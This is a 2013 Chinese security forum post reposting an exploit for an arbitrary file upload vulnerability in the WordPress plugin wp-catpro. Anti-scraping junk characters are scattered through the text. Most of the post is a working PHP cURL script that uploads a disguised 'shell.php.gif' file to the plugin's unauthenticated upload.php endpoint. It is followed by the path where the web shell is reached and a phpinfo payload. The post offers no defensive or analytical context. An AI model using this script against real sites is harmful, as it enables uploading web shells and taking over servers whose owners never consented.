找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1980|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
% i0 C: N1 P/ N4 U& s" D3 _#-----------------------------------------------------------------------1 A7 f$ ?" t: Z$ T9 t8 o/ F6 U1 r
2 D4 U7 g" P& `
作者  => Zikou-16
, y9 ?7 T9 T" w' O: F8 j/ x* w邮箱 => zikou16x@gmail.com  A' }# M3 x9 W, q. m' B* U
测试系统 : Windows 7 , Backtrack 5r3
' i" ?& q/ \5 a) c+ p下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
4 _6 p& j3 w& Q+ i9 M####; o; ]2 t. Y% t. O- m* R8 y% A
+ D: O. Z  n  L, x
#=> Exploit 信息:
0 e, Q# o* @4 i------------------
0 a7 P( z1 D  f. q+ P7 s8 c# 攻击者可以上传 file/shell.php.gif  s: W: s3 {. x" \5 w8 t5 K* o
# ("jpg", "gif", "png")  // Allowed file extensions, a) Q9 B' W+ \$ x: ?0 `+ O
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)+ v' k% k8 ]; t. G3 Y: Z
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
4 X8 n$ c, x2 `0 o- Z1 O------------------: Q( S: {( F" ^+ p$ z( X

0 Q  r5 E. x% d0 K* h8 r#=> Exploit( J' P9 m9 O2 h# V
-----------5 M9 w: I$ p7 F6 E6 j. ~& l
<?php  P% l0 D6 X$ d/ G) r, ?
  R/ s  m: L& x( P
$uploadfile="zik.php.gif";
, ~% g7 C- a( p* h% o2 S$ c* R$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");7 G- \* c- ]( e0 g7 @  Q
curl_setopt($ch, CURLOPT_POST, true);
8 o- n" e( S7 J' J' Zcurl_setopt($ch, CURLOPT_POSTFIELDS,- D' U1 G2 ?, o, y. K/ Z
array('Filedata'=>"@$uploadfile",4 w8 L# L; S: b2 K7 Z
'folder'=>'/wp-content/uploads/catpro/'));
# i6 k) h& ]. }2 ocurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);* r( |7 R% E/ @' E0 ?7 S! Y
$postResult = curl_exec($ch);3 `) W2 H" B4 H3 \2 C  ]
curl_close($ch);
/ @) C- o- `! Z7 U. h 2 p8 I1 S9 f' f6 q2 J3 I8 l; J
print "$postResult";
+ E9 z, R1 b, M/ U0 w/ s4 I3 a" N # V% ]% u  ^3 k) \
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
1 U4 X0 C- {2 b: k7 g  ?>, g. r& d3 ^  @; M0 e3 \: y
<?php
( [! m- |8 c0 A+ f* g( s& w9 E! hphpinfo();; v0 c# H) U; G/ R3 Q# o) M# u0 f
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表